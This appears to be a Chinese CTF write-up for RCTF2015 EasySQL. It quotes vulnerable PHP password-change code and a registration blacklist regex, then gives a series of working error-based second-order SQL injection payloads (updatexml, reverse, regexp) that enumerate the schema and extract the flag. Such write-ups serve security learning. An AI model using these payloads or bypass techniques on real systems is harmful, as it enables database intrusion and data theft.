[RCTF2015]EasySQL 1

题目分析

这道题目给源码了,但别人貌似都是黑盒做的,不管了,代码审计启动!

源码分析

注入位置

注入的位置在changepwd.php

<?php

session_start();

header("Content-Type: text/html; charset=UTF-8");


require_once 'config.php';
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';

if(isset($_POST['oldpass']) && isset($_POST['newpass'])){
    $oldpass = md5($_POST['oldpass']);
    $newpass = md5($_POST['newpass']);
    $username = $_SESSION['username'];
    $sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";
    // var_dump($sql);
    $query = mysql_query($sql);
    if($query){
        exit('');
    }else{
        die(mysql_error());
    }
}
?>

$username字段未使用单引号包裹,可以在注册界面的username字段写入注入语句,然后访问修改密码界面即可实现二次注入

正则过滤

注册username时存在正则过滤

$postfilter = "#(\s)|(/\*.*\*/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i";

不区分大小写
匹配任意空白字符
匹配多行注释,/* 开始,*/ 结束
过滤的字符串:file、insert、<、and、floor、ord、char、ascii、mid、left、right、hex、sleep、benchmark、benchmark、substr

注入方式

在这里插入图片描述
username:1”
其他随便输入
登录之后来到这个界面,点击用户名后跳转到密码修改界面
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
报错,使用报错注入

注入

查看当前数据库

payload:1"&&updatexml(1,concat(0x7e,(select(database())),0x7e),1)#

在这里插入图片描述
查看表名

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1)#

在这里插入图片描述
查看字段名

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#

在这里插入图片描述
查看flag

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#

在这里插入图片描述
flag不在这,再看看user表

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#

在这里插入图片描述
updatexml()报错注入只显示32位,使用reverse()函数倒序输出,再进行拼接

payload:1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1)#

在这里插入图片描述
得到字段为:real_flag_1s_here
查看flag

payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#

在这里插入图片描述
这个字段有很多条数据,使用函数:regexp(‘^f’),正则匹配f开头的字段

payload:1"&&updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

在这里插入图片描述
不全,再倒叙输出一下

payload:1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#

在这里插入图片描述
最终得到flag:flag{fa879aa8-8691-48bc-aa64-532ccbc77744}

  • 20
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值